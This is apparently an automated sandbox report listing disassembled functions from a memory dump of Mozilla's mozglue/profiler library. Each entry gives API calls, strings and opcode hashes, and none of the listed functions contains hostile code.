API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: b42628bc8f8704562e237c5ea627e5d22001516714bd4dc7d15ff2c1ee6e924f
Instruction ID: 0134292673c17b3fc7b906942f9a4d3bcf53f2c923285772cbd1b50a31159dcc
Opcode Fuzzy Hash: b42628bc8f8704562e237c5ea627e5d22001516714bd4dc7d15ff2c1ee6e924f
Instruction Fuzzy Hash: E3B15A357087818BCB14CE25C4506AFFBE2BBC9318F154A1DE99567791DBB0E90ACB83

Function 6CAF6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAF6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAF6E1E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9e5579b2f5ee42aab8de5267e0e79b2b088e05c3c88f6349fe0cc6729ea6d164
Instruction ID: ebbda030b318a7333afc24d1e32e8008c33f985b3522106cd56036d87114810d
Opcode Fuzzy Hash: 9e5579b2f5ee42aab8de5267e0e79b2b088e05c3c88f6349fe0cc6729ea6d164
Instruction Fuzzy Hash: 85A18E706183858FD714CF24C594BAEFBF2BF99308F04895DE49A87751DB70A889CB92

Function 6CB1B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB1B720
RtlNtStatusToDosError.NTDLL ref: 6CB1B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CAEFE3F,00000000,00000000,?,?,00000000,?,6CAEFE3F), ref: 6CB1B760

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 040d09c06350aadc03b94bfcc558adac3d89c4818675b9213b2c364dddca0dd2
Instruction ID: 828870b98eb0bbb17cef00917cfec0b7ebeb25abc73473133771e51802f6c9c5
Opcode Fuzzy Hash: 040d09c06350aadc03b94bfcc558adac3d89c4818675b9213b2c364dddca0dd2
Instruction Fuzzy Hash: 78F0C8B094428DAEEF059AA5CC85BEFB7BCDB0431AF105129D51561AC0D77895CCC661

Function 6CAD4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CAD4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAD5585, 6CAD55A8, 6CAD55C3, 6CAD5624

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4c23374d85c2f28a00dfb58bc977db693157189a2b29eab3d3d4962b53a29b15
Instruction ID: 2420442a8970a9f04bf116d52f26bfa15ff8167add888d65a9bb58a42482c044
Opcode Fuzzy Hash: 4c23374d85c2f28a00dfb58bc977db693157189a2b29eab3d3d4962b53a29b15
Instruction Fuzzy Hash: 7AB26C71A157018FD309CF19C590615BBE2FFC5328B2EC7ADE46A8B6A5D771E881CB80

Function 6CB185F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB18C7C
__aulldiv.LIBCMT ref: 6CB18DD7

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 981d77bc0a0f6898d59c8c89df81cef5cb76527e2215cfe8d299c42b48317968
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 41327071F041598FDF18CE9CC8A17AEB7B2FB88300F16853AD506BBB90DA359D458B91

Function 6CB1B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAC03D4,?), ref: 6CB1B955
NtQueryVirtualMemory.NTDLL ref: 6CB1B9A5

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: c3719bb32e0b779ee6d6b87912a62ce5f6e583e8a144516aa50702438df03b2f
Instruction ID: 4bcca6c1fa74e4b11ef6fa020e78edf033ad44ad73731b0af3733deed64cc9ff
Opcode Fuzzy Hash: c3719bb32e0b779ee6d6b87912a62ce5f6e583e8a144516aa50702438df03b2f
Instruction Fuzzy Hash: A541C771F042199FDF04CFA9D891ADEBBB5EF88354F24412AE505A7B04DB30AC458B91

Function 6CAF5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAC4A63,?,?), ref: 6CAF5F06

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c0a4f033ba2ad65ad5a5a3f3051d7cb75f587f9e27200c553f25ff331f8e2840
Instruction ID: 3f180b07a99a07ae8c838d2f20cefec76d900bfd31bd28557ae2de9925593903
Opcode Fuzzy Hash: c0a4f033ba2ad65ad5a5a3f3051d7cb75f587f9e27200c553f25ff331f8e2840
Instruction Fuzzy Hash: 53C1D475D012498BDB14CF95C1906EEBBF2FF89318F28815DE8656BB44D731A886CB90

Function 6CABDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c31f315d27d80b5589cbf26b0c12c9e5fbcd6c98e1aaedc448308970733bce
Instruction ID: 74bd8dcd335c1e3e3b0c2ae649ceddafa6ef5f5bee05e88c35574adc56310c24
Opcode Fuzzy Hash: c8c31f315d27d80b5589cbf26b0c12c9e5fbcd6c98e1aaedc448308970733bce
Instruction Fuzzy Hash: FD42C472A087508BD308CE3CC49175AF3E6BFC9354F198B6DE999A7790D734D9818B81

Function 6CB276E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 88a3415600a8a26cb56723e9af8513973a33f8ffef5a4b7478df7c9a7edcc826
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 1A321871E002598FCB14CF99C890AADFBB2FF88304F648169C849A7745D775A986CF94

Function 6CB26E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 1b08bc0c5bc3a6280c328b523586ac12f23224a1d4f20a77d720c3db9d9a525c
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 0622E571E002598FCB14CF98C880AADF7F2FF89304F6481AAC949A7745D775A986CF94

Function 6CAE0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 20393182d933daec1b34bfa3580ac1593f962f19f905f858e602db0a01c54746
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 81221771E046298FCB14CF98C890AADF7F2FF88304F588599D54AAB705D731A986DF90

Function 6CB2AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27fe6a5210c0416e0c21e395dbcd581f7e7687468db94946958b3d9a17809658
Instruction ID: a5edeecf904c3d7801b3d3cfd32d9a909ec770dd95db0a0326ca99cb2f45eb69
Opcode Fuzzy Hash: 27fe6a5210c0416e0c21e395dbcd581f7e7687468db94946958b3d9a17809658
Instruction Fuzzy Hash: 6EF127716087854FDB00CE28C8903BAB7E6EFC5358F158A1DE4D987781E77C98898B93

Function 6CABC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 8819f7936d26f676ce575c93c1d1aaf1076525e98cfd568232da20e0153670a5
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4AA1AF71F0021A8BDB08CE69C8917AEB7F6AFC8358F188129D915F7781DB349C468BD0

Function 6CAF7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 8341dd7b5185602b4b012b0124744e71252a7c64516cd21e1616c3cca452ac3a
Instruction ID: 346ea740c1ae753497561ff1b839523bae8af3af13e99ec66d622ffc9ecb03ee
Opcode Fuzzy Hash: 8341dd7b5185602b4b012b0124744e71252a7c64516cd21e1616c3cca452ac3a
Instruction Fuzzy Hash: 1F716F75E112198FCF18CF99D4905EDBBB2FF89314F28816EE425AB740D7316986CB90

Function 6CAF58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 0eab5bb10df74b0f45cee1f78dac77bada09881b94166c67f3eaa7fe31ad02e8
Instruction ID: 5b41ad081a355e2fd287deea766b7919f4565140ab33e487035fbaa5522c3140
Opcode Fuzzy Hash: 0eab5bb10df74b0f45cee1f78dac77bada09881b94166c67f3eaa7fe31ad02e8
Instruction Fuzzy Hash: C4818075E012199FCB14CFACD8809DEBBF2FF89314F148269E425AB741D731A946CB90

Function 6CAFCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAC582D), ref: 6CAFCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAC582D), ref: 6CAFCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB2FE98,?,?,?,?,?,6CAC582D), ref: 6CAFCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAC582D), ref: 6CAFCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAFCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAFCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAFCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAFCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAFCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAFCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAFCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAFCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAFCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAFCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAFCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAFCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAFCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAFCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAFCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAFCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAFCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAFCE8A

Strings

preferencereads, xrefs: 6CAFCD92
leaf, xrefs: 6CAFCC66
power, xrefs: 6CAFCE84
samplingallthreads, xrefs: 6CAFCE2C
screenshots, xrefs: 6CAFCCD4
fileioall, xrefs: 6CAFCCA8
fileio, xrefs: 6CAFCC92
notimerresolutionchange, xrefs: 6CAFCE00
Unrecognized feature "%s"., xrefs: 6CAFCEA0
noiostacks, xrefs: 6CAFCCBE
processcpu, xrefs: 6CAFCE6E
stackwalk, xrefs: 6CAFCCF8
markersallthreads, xrefs: 6CAFCE42
cpuallthreads, xrefs: 6CAFCE16
ipcmessages, xrefs: 6CAFCDBE
audiocallbacktracing, xrefs: 6CAFCDD4
jsallocations, xrefs: 6CAFCD0E
nostacksampling, xrefs: 6CAFCD7C
unregisteredthreads, xrefs: 6CAFCE58
java, xrefs: 6CAFCC37
nativeallocations, xrefs: 6CAFCDA8
seqstyle, xrefs: 6CAFCCE6
default, xrefs: 6CAFCC21
mainthreadio, xrefs: 6CAFCC7C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: d028806d586291d00d1782798d26cf53c991150f2342015f461ae52c117253b4
Instruction ID: 5a6b822708df98f30b911da01f916ecf93b4c46d68b7c29677d3667c531deeba
Opcode Fuzzy Hash: d028806d586291d00d1782798d26cf53c991150f2342015f461ae52c117253b4
Instruction Fuzzy Hash: 47517495A452B512FB2431176D10BFF1408EF5225EF14483AF92DA3E80FA39D68B86F7

Function 6CAC47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAC4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC482D
__Init_thread_footer.LIBCMT ref: 6CAC484A

Part of subcall function 6CAEAB3F: EnterCriticalSection.KERNEL32(6CB3E370,?,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB49
Part of subcall function 6CAEAB3F: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAC485F
GetCurrentThreadId.KERNEL32 ref: 6CAC487E
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC488B
free.MOZGLUE(?), ref: 6CAC493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC4956
free.MOZGLUE(00000000), ref: 6CAC4960
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC499A

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

free.MOZGLUE(?), ref: 6CAC49C6
free.MOZGLUE(?), ref: 6CAC49E9

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6CAC4A42
[I %d/%d] profiler_shutdown, xrefs: 6CAC4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAC47FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAC4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAC4828

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: aa5814cf3fc7abe5e438ea1826f88e71129a38efce9ebbfeb1c5e4347d01c786
Instruction ID: ff9c1248e431447fa343ce03c1b1ddb3c0ce33839b4d04d760e693843737629d
Opcode Fuzzy Hash: aa5814cf3fc7abe5e438ea1826f88e71129a38efce9ebbfeb1c5e4347d01c786
Instruction Fuzzy Hash: 39812875B001248FEB20DF68C98476E3775EF42328F180665E91A97B45DB31E8C8CB9B

Function 6CAC4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAC44B2,6CB3E21C,6CB3F7F8), ref: 6CAC473E
Part of subcall function 6CAC4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAC474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CAC44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CAC44D2
InitOnceExecuteOnce.KERNEL32(6CB3F80C,6CABF240,?,?), ref: 6CAC451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAC455C
LoadLibraryW.KERNEL32(?), ref: 6CAC4592
InitializeCriticalSection.KERNEL32(6CB3F770), ref: 6CAC45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CAC45AA
